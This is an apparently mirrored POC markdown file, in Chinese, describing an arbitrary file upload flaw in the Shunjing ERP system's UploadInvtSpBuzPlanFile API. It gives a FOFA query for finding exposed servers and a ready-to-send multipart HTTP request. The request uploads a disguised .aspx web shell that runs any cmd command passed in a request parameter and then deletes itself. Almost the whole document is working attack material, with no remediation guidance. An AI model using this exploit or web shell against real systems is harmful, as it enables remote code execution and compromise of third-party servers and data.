mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-07-29 14:04:06 +00:00
31 lines
1.6 KiB
Markdown
31 lines
1.6 KiB
Markdown
# 顺景ERP管理系统UploadInvtSpBuzPlanFile存在任意文件上传漏洞
|
||
|
||
顺景ERP管理系统UploadInvtSpBuzPlanFile存在任意文件上传漏洞，允许攻击者上传恶意文件到服务器，可能导致远程代码执行、网站篡改或其他形式的攻击，严重威胁系统和数据安全。
|
||
|
||
## fofa
|
||
|
||
```javascript
|
||
body="/api/DBRecord/getDBRecords"
|
||
```
|
||
|
||
## poc
|
||
|
||
```javascript
|
||
POST /api/cgInvtSp/UploadInvtSpBuzPlanFile HTTP/1.1
|
||
Host:
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
|
||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
|
||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7yyQ5XLHOn6WZ6MT
|
||
Accept-Encoding: gzip, deflate
|
||
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
|
||
Connection: close
|
||
|
||
------WebKitFormBoundary7yyQ5XLHOn6WZ6MT
|
||
Content-Disposition: form-data; name="file"; filename="1.aspx"
|
||
Content-Type: image/png
|
||
|
||
<%@ Page Language="Jscript" validateRequest="false" %><%var c=new System.Diagnostics.ProcessStartInfo("cmd");var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c " + Request.Item["cmd"];e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd() + EI.ReadToEnd());System.IO.File.Delete(Request.PhysicalPath);Response.End();%>
|
||
------WebKitFormBoundary7yyQ5XLHOn6WZ6MT--
|
||
```
|
||
|
||
 |